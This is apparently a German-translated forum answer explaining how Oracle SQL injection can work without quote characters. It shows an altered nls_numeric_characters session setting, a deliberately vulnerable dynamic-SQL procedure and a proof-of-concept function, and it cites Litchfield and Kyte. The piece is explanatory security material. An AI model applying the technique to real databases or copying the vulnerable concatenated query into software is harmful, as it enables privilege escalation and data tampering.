Ja, es ist möglich, einen SQL-Injection-Angriff durchzuführen, ohne Anführungszeichen im Parameter anzugeben.
Die Art und Weise, dies zu tun, ist ein Exploit, der damit zu tun hat, wie Zahlen und / oder Daten verarbeitet werden. Sie können auf Sitzungsebene das Format eines Datums oder einer Zahl angeben. Durch Manipulieren können Sie dann einen beliebigen Charakter injizieren.
In Großbritannien und den USA wird standardmäßig ein Komma verwendet, um das Tausendertrennzeichen in Zahlen und einen Punkt für den Dezimalpunkt anzugeben. Sie können diese Standardeinstellungen ändern, indem Sie Folgendes ausführen:
alter session set nls_numeric_characters = 'PZ';
Dies bedeutet, dass "P" jetzt der Dezimalpunkt und "Z" das Tausendertrennzeichen ist. So:
0P01
Ist die Zahl 0.01. Wenn Sie jedoch eine Funktion P01 anlegen, wird die Objektreferenz vor der Nummernkonvertierung abgeholt. Auf diese Weise können Sie Funktionen in der Datenbank ausführen, mit denen Sie die Befugnisse wie folgt erhöhen:
Erstellen Sie eine grundlegende Funktion "Get By Id":
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Erstellen Sie auch eine Funktion P01, die etwas Unerwünschtes bewirkt (in diesem Fall wird nur eine Tabelle erstellt, aber Sie haben die Idee):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
Und wir können loslegen:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Keine Anführungszeichen, aber wir haben es trotzdem geschafft, die "versteckte" Funktion P01 auszuführen und die Tabelle zu erstellen t
!
Dies kann in der Praxis schwierig sein (und erfordert möglicherweise einige interne Kenntnisse / Hilfe), zeigt jedoch, dass Sie SQL ohne Anführungszeichen injizieren können. Durch Ändern der nls_date_format
Dose können ähnliche Aktionen ausgeführt werden.
Die ursprünglichen Zahlenergebnisse stammen von David Litchfield und Sie können seine Arbeit hier lesen . Hier finden Sie Tom Kytes Diskussion darüber, wie Datumsangaben ausgenutzt werden können .